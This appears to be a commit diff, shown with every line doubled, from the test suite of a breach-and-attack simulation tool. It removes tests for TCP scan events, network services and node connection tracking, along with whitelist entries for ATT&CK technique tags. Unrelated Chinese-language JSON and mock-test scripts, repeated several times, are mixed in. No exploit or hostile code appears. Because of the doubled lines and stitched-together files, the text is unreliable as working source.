ports={145: PortStatus.CLOSED, 8080: PortStatus.CLOSED}, ports={145: PortStatus.CLOSED, 8080: PortStatus.CLOSED},
) )
@ -109,8 +91,6 @@ def machine_repository() -> IMachineRepository:
@pytest.fixture @pytest.fixture
def node_repository() -> INodeRepository: def node_repository() -> INodeRepository:
node_repository = MagicMock(spec=INodeRepository) node_repository = MagicMock(spec=INodeRepository)
node_repository.get_nodes.return_value = [deepcopy(SOURCE_NODE)]
node_repository.upsert_node = MagicMock()
node_repository.upsert_communication = MagicMock() node_repository.upsert_communication = MagicMock()
return node_repository return node_repository
@ -123,7 +103,7 @@ def scan_event_handler(agent_repository, machine_repository, node_repository):
MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE} MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE}
MACHINES_BY_IP = { MACHINES_BY_IP = {
IPv4Address("10.10.10.99"): [SOURCE_MACHINE], IPv4Address("10.10.10.99"): [SOURCE_MACHINE],
IPv4Address(TARGET_MACHINE_IP): [TARGET_MACHINE], IPv4Address("10.10.10.1"): [TARGET_MACHINE],
} }
@ -206,44 +186,6 @@ def test_tcp_scan_event_target_machine_not_exists(
machine_repository.upsert_machine.assert_called_with(expected_machine) machine_repository.upsert_machine.assert_called_with(expected_machine)
def test_handle_tcp_scan_event__no_open_ports(
scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT_CLOSED
scan_event_handler._update_nodes = MagicMock()
scan_event_handler.handle_tcp_scan_event(event)
assert not node_repository.upsert_tcp_connections.called
def test_handle_tcp_scan_event__ports_found(
scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT
scan_event_handler._update_nodes = MagicMock()
node_repository.get_node_by_machine_id.return_value = SOURCE_NODE
scan_event_handler.handle_tcp_scan_event(event)
call_args = node_repository.upsert_tcp_connections.call_args[0]
assert call_args[0] == MACHINE_ID
assert TARGET_MACHINE_ID in call_args[1]
open_socket_addresses = call_args[1][TARGET_MACHINE_ID]
assert set(open_socket_addresses) == set(TCP_CONNECTIONS[TARGET_MACHINE_ID])
assert len(open_socket_addresses) == len(TCP_CONNECTIONS[TARGET_MACHINE_ID])
def test_handle_tcp_scan_event__no_source(
caplog, scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT
node_repository.get_node_by_machine_id = MagicMock(side_effect=UnknownRecordError("no source"))
scan_event_handler._update_nodes = MagicMock()
scan_event_handler.handle_tcp_scan_event(event)
assert "ERROR" in caplog.text
assert "no source" in caplog.text
@pytest.mark.parametrize( @pytest.mark.parametrize(
"event,handler", "event,handler",
[(PING_SCAN_EVENT, HANDLE_PING_SCAN_METHOD), (TCP_SCAN_EVENT, HANDLE_TCP_SCAN_METHOD)], [(PING_SCAN_EVENT, HANDLE_PING_SCAN_METHOD), (TCP_SCAN_EVENT, HANDLE_TCP_SCAN_METHOD)],

View File

@ -6,12 +6,8 @@ from typing import MutableSequence
import pytest import pytest
from common import OperatingSystem from common import OperatingSystem
from common.types import NetworkService, SocketAddress
from monkey_island.cc.models import Machine from monkey_island.cc.models import Machine
SOCKET_ADDR_1 = "192.168.1.10:5000"
SOCKET_ADDR_2 = "192.168.1.10:8080"
MACHINE_OBJECT_DICT = MappingProxyType( MACHINE_OBJECT_DICT = MappingProxyType(
{ {
"id": 1, "id": 1,
@ -21,10 +17,6 @@ MACHINE_OBJECT_DICT = MappingProxyType(
"operating_system": OperatingSystem.WINDOWS, "operating_system": OperatingSystem.WINDOWS,
"operating_system_version": "eXtra Problems", "operating_system_version": "eXtra Problems",
"hostname": "my.host", "hostname": "my.host",
"network_services": {
SocketAddress.from_string(SOCKET_ADDR_1): NetworkService.UNKNOWN,
SocketAddress.from_string(SOCKET_ADDR_2): NetworkService.UNKNOWN,
},
} }
) )
@ -34,13 +26,9 @@ MACHINE_SIMPLE_DICT = MappingProxyType(
"hardware_id": uuid.getnode(), "hardware_id": uuid.getnode(),
"island": True, "island": True,
"network_interfaces": ["10.0.0.1/24", "192.168.5.32/16"], "network_interfaces": ["10.0.0.1/24", "192.168.5.32/16"],
"operating_system": OperatingSystem.WINDOWS.value, "operating_system": "windows",
"operating_system_version": "eXtra Problems", "operating_system_version": "eXtra Problems",
"hostname": "my.host", "hostname": "my.host",
"network_services": {
SOCKET_ADDR_1: NetworkService.UNKNOWN.value,
SOCKET_ADDR_2: NetworkService.UNKNOWN.value,
},
} }
) )
@ -72,11 +60,6 @@ def test_to_dict():
("operating_system", "bsd"), ("operating_system", "bsd"),
("operating_system_version", {}), ("operating_system_version", {}),
("hostname", []), ("hostname", []),
("network_services", 42),
("network_services", [SOCKET_ADDR_1]),
("network_services", None),
("network_services", {SOCKET_ADDR_1: "Hello"}),
("network_services", {SocketAddress.from_string(SOCKET_ADDR_1): "Hello"}),
], ],
) )
def test_construct_invalid_field__type_error(key, value): def test_construct_invalid_field__type_error(key, value):
@ -94,7 +77,6 @@ def test_construct_invalid_field__type_error(key, value):
("hardware_id", 0), ("hardware_id", 0),
("network_interfaces", [1, "stuff", 3]), ("network_interfaces", [1, "stuff", 3]),
("network_interfaces", ["10.0.0.1/16", 2, []]), ("network_interfaces", ["10.0.0.1/16", 2, []]),
("network_services", {"192.168.": NetworkService.UNKNOWN.value}),
], ],
) )
def test_construct_invalid_field__value_error(key, value): def test_construct_invalid_field__value_error(key, value):
@ -248,19 +230,3 @@ def test_hostname_default_value():
m = Machine(**missing_hostname_dict) m = Machine(**missing_hostname_dict)
assert m.hostname == "" assert m.hostname == ""
def test_set_network_services_validates():
m = Machine(**MACHINE_OBJECT_DICT)
with pytest.raises(ValueError):
m.network_services = {"not-an-ip": NetworkService.UNKNOWN.value}
def test_set_network_services_default_value():
missing_network_services = MACHINE_OBJECT_DICT.copy()
del missing_network_services["network_services"]
m = Machine(**missing_network_services)
assert m.network_services == {}

View File

@ -2,7 +2,6 @@ from typing import MutableSequence
import pytest import pytest
from common.types import SocketAddress
from monkey_island.cc.models import CommunicationType, Node from monkey_island.cc.models import CommunicationType, Node
@ -12,21 +11,13 @@ def test_constructor():
6: frozenset((CommunicationType.SCANNED,)), 6: frozenset((CommunicationType.SCANNED,)),
7: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)), 7: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)),
} }
tcp_connections = {
6: tuple(
(SocketAddress(ip="192.168.1.1", port=80), SocketAddress(ip="192.168.1.1", port=443))
),
7: tuple((SocketAddress(ip="192.168.1.2", port=22),)),
}
n = Node( n = Node(
machine_id=machine_id, machine_id=1,
connections=connections, connections=connections,
tcp_connections=tcp_connections,
) )
assert n.machine_id == machine_id assert n.machine_id == machine_id
assert n.connections == connections assert n.connections == connections
assert n.tcp_connections == tcp_connections
def test_serialization(): def test_serialization():
@ -36,12 +27,9 @@ def test_serialization():
"6": [CommunicationType.CC.value, CommunicationType.SCANNED.value], "6": [CommunicationType.CC.value, CommunicationType.SCANNED.value],
"7": [CommunicationType.EXPLOITED.value, CommunicationType.CC.value], "7": [CommunicationType.EXPLOITED.value, CommunicationType.CC.value],
}, },
"tcp_connections": {
"6": [{"ip": "192.168.1.1", "port": 80}, {"ip": "192.168.1.1", "port": 443}],
"7": [{"ip": "192.168.1.2", "port": 22}],
},
} }
# "6": frozenset((CommunicationType.CC, CommunicationType.SCANNED)),
# "7": frozenset((CommunicationType.EXPLOITED, CommunicationType.CC)),
n = Node(**node_dict) n = Node(**node_dict)
serialized_node = n.dict(simplify=True) serialized_node = n.dict(simplify=True)
@ -56,8 +44,6 @@ def test_serialization():
for key, value in serialized_node["connections"].items(): for key, value in serialized_node["connections"].items():
assert set(value) == set(node_dict["connections"][key]) assert set(value) == set(node_dict["connections"][key])
assert serialized_node["tcp_connections"] == node_dict["tcp_connections"]
def test_machine_id_immutable(): def test_machine_id_immutable():
n = Node(machine_id=1, connections={}) n = Node(machine_id=1, connections={})

View File

@ -3,7 +3,6 @@ from unittest.mock import MagicMock
import mongomock import mongomock
import pytest import pytest
from common.types import SocketAddress
from monkey_island.cc.models import CommunicationType, Node from monkey_island.cc.models import CommunicationType, Node
from monkey_island.cc.repository import ( from monkey_island.cc.repository import (
INodeRepository, INodeRepository,
@ -11,17 +10,8 @@ from monkey_island.cc.repository import (
RemovalError, RemovalError,
RetrievalError, RetrievalError,
StorageError, StorageError,
UnknownRecordError,
) )
TARGET_MACHINE_IP = "2.2.2.2"
TCP_CONNECTION_PORT_22 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22),)}
TCP_CONNECTION_PORT_80 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=80),)}
ALL_TCP_CONNECTIONS = {
3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22), SocketAddress(ip=TARGET_MACHINE_IP, port=80))
}
NODES = ( NODES = (
Node( Node(
machine_id=1, machine_id=1,
@ -33,7 +23,6 @@ NODES = (
Node( Node(
machine_id=2, machine_id=2,
connections={1: frozenset((CommunicationType.CC,))}, connections={1: frozenset((CommunicationType.CC,))},
tcp_connections=TCP_CONNECTION_PORT_22,
), ),
Node( Node(
machine_id=3, machine_id=3,
@ -43,7 +32,10 @@ NODES = (
5: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)), 5: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)),
}, },
), ),
Node(machine_id=4, connections={}, tcp_connections=ALL_TCP_CONNECTIONS), Node(
machine_id=4,
connections={},
),
Node( Node(
machine_id=5, machine_id=5,
connections={ connections={
@ -171,6 +163,21 @@ def test_upsert_communication__replace_one_fails(
error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED) error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED)
def test_upsert_communication__replace_one_matched_without_modify(
error_raising_mock_mongo_client, error_raising_node_repository
):
mock_result = MagicMock()
mock_result.matched_count = 1
mock_result.modified_count = 0
error_raising_mock_mongo_client.monkey_island.nodes.find_one = MagicMock(return_value=None)
error_raising_mock_mongo_client.monkey_island.nodes.replace_one = MagicMock(
return_value=mock_result
)
with pytest.raises(StorageError):
error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED)
def test_upsert_communication__replace_one_insert_fails( def test_upsert_communication__replace_one_insert_fails(
error_raising_mock_mongo_client, error_raising_node_repository error_raising_mock_mongo_client, error_raising_node_repository
): ):
@ -209,43 +216,3 @@ def test_reset(node_repository):
def test_reset__removal_error(error_raising_node_repository): def test_reset__removal_error(error_raising_node_repository):
with pytest.raises(RemovalError): with pytest.raises(RemovalError):
error_raising_node_repository.reset() error_raising_node_repository.reset()
def test_upsert_tcp_connections__empty_connections(node_repository):
node_repository.upsert_tcp_connections(1, TCP_CONNECTION_PORT_22)
nodes = node_repository.get_nodes()
for node in nodes:
if node.machine_id == 1:
assert node.tcp_connections == TCP_CONNECTION_PORT_22
def test_upsert_tcp_connections__upsert_new_port(node_repository):
node_repository.upsert_tcp_connections(2, TCP_CONNECTION_PORT_80)
nodes = node_repository.get_nodes()
modified_node = [node for node in nodes if node.machine_id == 2][0]
assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS)
assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS)
def test_upsert_tcp_connections__port_already_present(node_repository):
node_repository.upsert_tcp_connections(4, TCP_CONNECTION_PORT_80)
nodes = node_repository.get_nodes()
modified_node = [node for node in nodes if node.machine_id == 4][0]
assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS)
assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS)
def test_upsert_tcp_connections__node_missing(node_repository):
node_repository.upsert_tcp_connections(999, TCP_CONNECTION_PORT_80)
nodes = node_repository.get_nodes()
modified_node = [node for node in nodes if node.machine_id == 999][0]
assert set(modified_node.tcp_connections) == set(TCP_CONNECTION_PORT_80)
def test_get_node_by_machine_id(node_repository):
assert node_repository.get_node_by_machine_id(1) == NODES[0]
def test_get_node_by_machine_id__no_node(node_repository):
with pytest.raises(UnknownRecordError):
node_repository.get_node_by_machine_id(999)

View File

View File

@ -1,13 +0,0 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

View File

@ -1,13 +0,0 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

View File

@ -9,19 +9,10 @@ from common.agent_configuration.agent_sub_configurations import (
) )
from common.agent_events import ExploitationEvent, PingScanEvent, PropagationEvent, TCPScanEvent from common.agent_events import ExploitationEvent, PingScanEvent, PropagationEvent, TCPScanEvent
from common.credentials import Credentials, LMHash, NTHash from common.credentials import Credentials, LMHash, NTHash
from common.tags import ( from common.types import NetworkPort
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
T1570_ATTACK_TECHNIQUE_TAG,
)
from common.types import NetworkPort, NetworkService
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
from monkey_island.cc.models import Machine, Node, Report from monkey_island.cc.event_queue import IslandEventTopic, PyPubSubIslandEventQueue
from monkey_island.cc.models import Report
from monkey_island.cc.models.networkmap import Arc, NetworkMap from monkey_island.cc.models.networkmap import Arc, NetworkMap
from monkey_island.cc.repository import MongoAgentRepository, MongoMachineRepository from monkey_island.cc.repository import MongoAgentRepository, MongoMachineRepository
from monkey_island.cc.repository.attack.IMitigationsRepository import IMitigationsRepository from monkey_island.cc.repository.attack.IMitigationsRepository import IMitigationsRepository
@ -327,15 +318,6 @@ TCPScanEvent.port_status
# TODO: Remove once #2269 is close # TODO: Remove once #2269 is close
PropagationEvent PropagationEvent
ExploitationEvent ExploitationEvent
T1021_ATTACK_TECHNIQUE_TAG
T1105_ATTACK_TECHNIQUE_TAG
T1110_ATTACK_TECHNIQUE_TAG
T1203_ATTACK_TECHNIQUE_TAG
T1210_ATTACK_TECHNIQUE_TAG
T1222_ATTACK_TECHNIQUE_TAG
T1570_ATTACK_TECHNIQUE_TAG
HostExploiter._publish_propagation_event
HostExploiter._publish_exploitation_event
# pydantic base models # pydantic base models
underscore_attrs_are_private underscore_attrs_are_private
@ -354,10 +336,3 @@ SCANNED
EXPLOITED EXPLOITED
CC CC
CC_TUNNEL CC_TUNNEL
# TODO remove when 2267 is done
NetworkServiceNameEnum.UNKNOWN
Machine.network_services
Machine.config.json_dumps
Machine._socketaddress_from_string
Node.tcp_connections

View File

@ -1,21 +0,0 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)

View File

@ -1,21 +0,0 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)

View File

@ -1,21 +0,0 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)